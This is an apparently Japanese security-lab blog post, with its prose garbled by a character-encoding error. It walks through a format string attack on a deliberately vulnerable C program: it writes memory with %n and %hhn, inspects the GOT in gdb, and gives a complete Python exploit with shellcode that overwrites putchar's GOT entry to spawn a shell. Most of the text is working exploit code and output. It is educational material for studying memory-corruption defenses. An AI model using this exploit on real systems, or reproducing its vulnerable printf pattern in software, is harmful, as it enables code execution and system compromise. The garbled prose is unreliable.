ä¸ã¤åã®ã¨ã³ããªã§ã¯format string attackã«ããã¡ã¢ãªèªã¿åºãããã£ã¦ã¿ãããformat string attackã§ã¯ä»»æã®ä½ç½®ã®ã¡ã¢ãªå å®¹ãæ¸ãæãããã¨ãã§ããã ããã§ã¯ãå®éã«GOT (Global Offset Table) ã¨å¼ã°ããã»ã¯ã·ã§ã³ã«ç½®ãããã©ã¤ãã©ãªé¢æ°ã®ã¢ãã¬ã¹ãã·ã§ã«ã³ã¼ãã®ã¢ãã¬ã¹ã«ç½®ãæããã·ã§ã«ãèµ·åããã¦ã¿ãã
ç°å¢
Ubuntu 12.04 LTS 32bitç
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
èå¼±æ§ã®ããããã°ã©ã ãç¨æãã
ã³ãã³ãã©ã¤ã³å¼æ°ããã®ã¾ã¾printfã®ãã©ã¼ãããæååã«ãªã£ã¦ããã³ã¼ããæ¸ãã
/* fsb.c */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[100]; printf("[+] buf = %p\n", buf); strncpy(buf, argv[1], 100); printf(buf); putchar('\n'); return 0; }
SSPæå¹ãASLRãDEPç¡å¹ã§ã³ã³ãã¤ã«ã»å®è¡ãã¦ã¿ãã
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -z execstack fsb.c fsb.c: In function âmainâ: fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security] $ ./a.out AAAA [+] buf = 0xbffff708 AAAA
ä»»æã®ã¢ãã¬ã¹ã«ããã¡ã¢ãªå å®¹ãæ¸ãæãã¦ã¿ã
printfç³»é¢æ°ã«ã¯%n
æå®åã¨ãããã®ããããããã¯ãã®æç¹ã¾ã§ã«æ¸ãåºããããã¤ãæ°ã弿°ã§æå®ãããã¢ãã¬ã¹ãæãã¡ã¢ãªã«æ¸ãè¾¼ãã
ãã¨ãã°ã次ã®ãããªæãã§ããã
char *buffer; int len; printf("%s%n\n", buffer, &len); /* bufferãåºåãããã¨åæã«ããã®æååé·ãlenã«æ¸ãè¾¼ã¾ãã */
ä¸ã¤åã®ã¨ã³ããªã«æ¸ããããã«ããã©ã¼ãããæååã¯ã¹ã¿ãã¯ä¸ã«ããããæ¬¡ã®ããã«åç §å¯è½ã§ããã
$ ./a.out 'AAAA%10$08x' [+] buf = 0xbffff6f8 AAAA41414141
ã¤ã¾ããAAAAã®ä»£ããã«æ¸ãæãããã¢ãã¬ã¹ãã»ãããã%100c
ãªã©ã§é©å½ãªæ°ï¼ããã§ã¯100ï¼ã ãæåãåºåããä¸ã§%10$n
ãæå®ããã°ããã®ã¢ãã¬ã¹ã«ããã¡ã¢ãª4ãã¤ããä»»æã®å¤ã«æ¸ãæãããã¨ãã§ããã
ãã¨ãã°ã0xaabbccddããã®4ãã¤ãã11 00 00 00
(=17) ã«æ¸ãæããã«ã¯æ¬¡ã®ããã«ããã
$ ./a.out $'\xdd\xcc\xbb\xaa%13c%10$n' [+] buf = 0xbffff6f8 Segmentation fault (core dumped)
å
é ã®ã¢ãã¬ã¹æå®ã§ãã§ã«4ãã¤ãåºåãã¦ããã®ã§%c
ã§åºåãããæåæ°ã«ã¯ç®çã®æ°ãã4å¼ããæ°ãæå®ããã
ãªããããã§ã¯é©å½ãªã¢ãã¬ã¹ãæå®ãã¦ããããã»ã°ã¡ã³ãéåã§è½ã¡ã¦ããã
ä¸ã®æ¹æ³ã§4ãã¤ãæ¸ãæããã¨ããæåæ°ããã®ã¾ã¾æå®ããã¨å¤§éã®æåãåºåãããã¨ã«ãªãæéããããã
ããã§ãå
é ãã1ãã¤ããã¤4åã«åãã¦æ¸ãæããæ¹æ³ãåãããã
ã¾ãã%n
ã®ä»£ããã«%hn
ã使ãã¨2ãã¤ãã%hhn
ã使ãã¨1ãã¤ãã®ã¿ã®æ¸ãæãã«ãããã¨ãã§ããã
ããã§åºåæåæ°ãæ¸ãæãããããã¤ãé·ãè¶ããå ´åã«ã¤ãã¦ã¯ãä¸ä½ã®ãã¤ããç¡è¦ãããã
ä¸è¨ã®ãã¨ãå©ç¨ãã¦0xaabbccddããã®4ãã¤ãã11 22 33 44
ã§æ¸ãæããå ´åãéãè¾¼ããã©ã¼ãããæååã¯æ¬¡ã®ããã«ãªãã
$ python >>> "\xdd\xcc\xbb\xaa" + "\xde\xcc\xbb\xaa" + "\xdf\xcc\xbb\xaa" + "\xe0\xcc\xbb\xaa" \ ... + "%%%dc" % (0x44-16) + "%10$n" \ ... + "%%%dc" % (0x33 - 0x44 + 0x100) + "%11$n" \ ... + "%%%dc" % (0x22 - 0x33 + 0x100) + "%12$n" \ ... + "%%%dc" % (0x11 - 0x22 + 0x100) + "%13$n" '\xdd\xcc\xbb\xaa\xde\xcc\xbb\xaa\xdf\xcc\xbb\xaa\xe0\xcc\xbb\xaa%52c%10$n%239c%11$n%239c%12$n%239c%13$n'
ããã¯ããã©ã¼ãããæååã¾ã§ã®ãªãã»ããã10ã®å ´åã«ã¤ãã¦ã®ä¾ã§ããã
GOTã«ããã©ã¤ãã©ãªé¢æ°å¼ã³åºãã«ã¤ãã¦èª¿ã¹ã¦ã¿ã
ã³ã³ãã¤ã«æã«å ±æã©ã¤ãã©ãªããã¤ãããã¯ãªã³ã¯ããå ´åãå ±æã©ã¤ãã©ãªã®é¢æ°ã¯GOT (Global Offset Table) ã¨å¼ã°ããã¸ã£ã³ããã¼ãã«ãä»ãã¦å¼ã³åºãããã ãã®æµãããæåã«æ¸ããèå¼±æ§ã®ããããã°ã©ã ãgdbã§å®è¡ãããã¨ã«ãã£ã¦ç¢ºèªãã¦ã¿ãã
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: ... 0x080484c6 <+50>: call 0x8048380 <printf@plt> ... 0x080484f3 <+95>: call 0x8048380 <printf@plt> ... End of assembler dump. (gdb) disas 0x8048380 Dump of assembler code for function printf@plt: 0x08048380 <+0>: jmp DWORD PTR ds:0x804a000 0x08048386 <+6>: push 0x0 0x0804838b <+11>: jmp 0x8048370 End of assembler dump. (gdb) b *main+50 Breakpoint 1 at 0x80484c6 (gdb) b *main+95 Breakpoint 2 at 0x80484f3 (gdb) run AAAA Starting program: /home/user/tmp/a.out AAAA Breakpoint 1, 0x080484c6 in main () (gdb) x/xw 0x804a000 0x804a000 <[email protected]>: 0x08048386
printfãå¼ã°ããã¨ããã¾ãprintf@pltãcallããã0x804a000ã«æ¸ãããã¢ãã¬ã¹ã«ã¸ã£ã³ãããããã«ãªã£ã¦ãããã¨ããããã æåã«æ¸ããã³ã¼ãã§ã¯printfã2åå¼ã°ãã¦ãããã1åç®ã®ã¨ããã®ã¢ãã¬ã¹ã¯printf@pltã®2è¡ç®ã§ããã
(gdb) c Continuing. [+] buf = 0xbffff6f8 Breakpoint 2, 0x080484f3 in main () (gdb) x/xw 0x804a000 0x804a000 <[email protected]>: 0xb7e78ed0 (gdb) disas 0xb7e78ed0 Dump of assembler code for function printf: 0xb7e78ed0 <+0>: push ebx 0xb7e78ed1 <+1>: sub esp,0x18 0xb7e78ed4 <+4>: call 0xb7f57d53 0xb7e78ed9 <+9>: add ebx,0x15911b 0xb7e78edf <+15>: lea eax,[esp+0x24] 0xb7e78ee3 <+19>: mov DWORD PTR [esp+0x8],eax 0xb7e78ee7 <+23>: mov eax,DWORD PTR [esp+0x20] 0xb7e78eeb <+27>: mov DWORD PTR [esp+0x4],eax 0xb7e78eef <+31>: mov eax,DWORD PTR [ebx-0x7c] 0xb7e78ef5 <+37>: mov eax,DWORD PTR [eax] 0xb7e78ef7 <+39>: mov DWORD PTR [esp],eax 0xb7e78efa <+42>: call 0xb7e6eab0 <vfprintf> 0xb7e78eff <+47>: add esp,0x18 0xb7e78f02 <+50>: pop ebx 0xb7e78f03 <+51>: ret End of assembler dump. (gdb) c Continuing. AAAA [Inferior 1 (process 7481) exited normally] (gdb) q
2åç®ã®printfãæ¥ãã¾ã§å¦çãé²ããã¨ãã¾ã1åç®ã®printfããã¡ãã¨å¼ã°ãã¦ãããã¨ããããã ããã¦ãããã§0x804a000ã«æ¸ãããã¢ãã¬ã¹ãè¦ãã¨ãå®éã®printfã®é¢æ°ã«æ¸ãå¤ãã£ã¦ããã ãã®ä»çµã¿ã¯é å»¶ãã¤ã³ãã¨å¼ã°ããã
ããã¾ã§ã®æµãããã0x804a000ã«æ¸ãããã¢ãã¬ã¹ãæ¸ãæããã°ä»»æã®ã¢ãã¬ã¹ã«ã¸ã£ã³ãããããããã¨ããããã å®é0x804a000ãå«ã¾ãã.got.pltã»ã¯ã·ã§ã³ã¯æ¸ãæãå¯è½ã«ãªã£ã¦ããã
$ readelf -S a.out There are 30 section headers, starting at offset 0x1148: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ... [23] .got.plt PROGBITS 08049ff4 000ff4 000024 04 WA 0 0 4 [24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4 ... Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific)
試ãã«gdbã§0x804a000ãæ¸ãæãã¦ã¿ãã¨ãã¸ã£ã³ãå ãå¤ãããã¨ã«æåãã¦ãããã¨ããããã
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) start Temporary breakpoint 1 at 0x8048497 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048497 in main () (gdb) set {int}0x804a000 = 0xcccccccc (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xcccccccc in ?? () (gdb) quit A debugging session is active. Inferior 1 [process 7493] will be killed. Quit anyway? (y or n) y
ã¨ã¯ã¹ããã¤ãã³ã¼ããæ¸ãã¦ã¿ã
以ä¸ã®å 容ããã¨ã«ãGOTãæ¸ãæãã·ã§ã«ã³ã¼ãã«ã¸ã£ã³ããããã¨ã¯ã¹ããã¤ãã³ã¼ããæ¸ãã¨æ¬¡ã®ããã«ãªãã
# exploit.py import sys import struct from subprocess import Popen addr_got = int(sys.argv[1], 16) addr_buf = int(sys.argv[2], 16) index = int(sys.argv[3]) shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" buf = struct.pack('<I', addr_got) buf += struct.pack('<I', addr_got+1) buf += struct.pack('<I', addr_got+2) buf += struct.pack('<I', addr_got+3) buf += shellcode a = map(ord, struct.pack('<I', addr_buf + 16)) a[3] = ((a[3]-a[2]-1) % 0x100) + 1 a[2] = ((a[2]-a[1]-1) % 0x100) + 1 a[1] = ((a[1]-a[0]-1) % 0x100) + 1 a[0] = ((a[0]-len(buf)-1) % 0x100) + 1 buf += "%%%dc%%%d$hhn" % (a[0], index) buf += "%%%dc%%%d$hhn" % (a[1], index+1) buf += "%%%dc%%%d$hhn" % (a[2], index+2) buf += "%%%dc%%%d$hhn" % (a[3], index+3) with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out', buf]) p.wait()
ãã®ã³ã¼ãã¯ãæ¸ãæãããGOTã®ã¢ãã¬ã¹ããããã¡ã®å é ã¢ãã¬ã¹ããã©ã¼ãããæååã¾ã§ã®ãªãã»ãããé ã«å¼æ°ã«åãã ããã¦ãGOTã®å¤ããããã¡ã®å é ãã16ãã¤ãå ã«ããã·ã§ã«ã³ã¼ãã®ã¢ãã¬ã¹ã«æ¸ãæããã
format string attackãè¡ãããã®ã¯2åç®ã®printfã§ããã®ã§ããã®å¾ã«ããputchar颿°ã®GOTã®å¤ãæ¸ãæãããã¨ãèããã putchar颿°ã®GOTã®ã¢ãã¬ã¹ã¨ãã©ã¼ãããæååã¾ã§ã®ãªãã»ããããããã調ã¹ãå®è¡ãã¦ã¿ãã
$ objdump -d -j.plt a.out 080483c0 <putchar@plt>: 80483c0: ff 25 10 a0 04 08 jmp DWORD PTR ds:0x804a010 80483c6: 68 20 00 00 00 push 0x20 80483cb: e9 a0 ff ff ff jmp 8048370 <_init+0x34> $ ./a.out 'AAAA%10$08x' [+] buf = 0xbffff6f8 AAAA41414141 $ python exploit.py 0x804a010 0xbffff6f8 10 [+] buf = 0xbffff6a8 $ python exploit.py 0x804a010 0xbffff6a8 10 [+] buf = 0xbffff6a8 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
GOTã®å¤ãã¹ã¿ãã¯ä¸ã®ã·ã§ã«ã³ã¼ãã®ã¢ãã¬ã¹ã«æ¸ãå¤ãããã·ã§ã«ãèµ·åãããã¨ã確èªã§ããã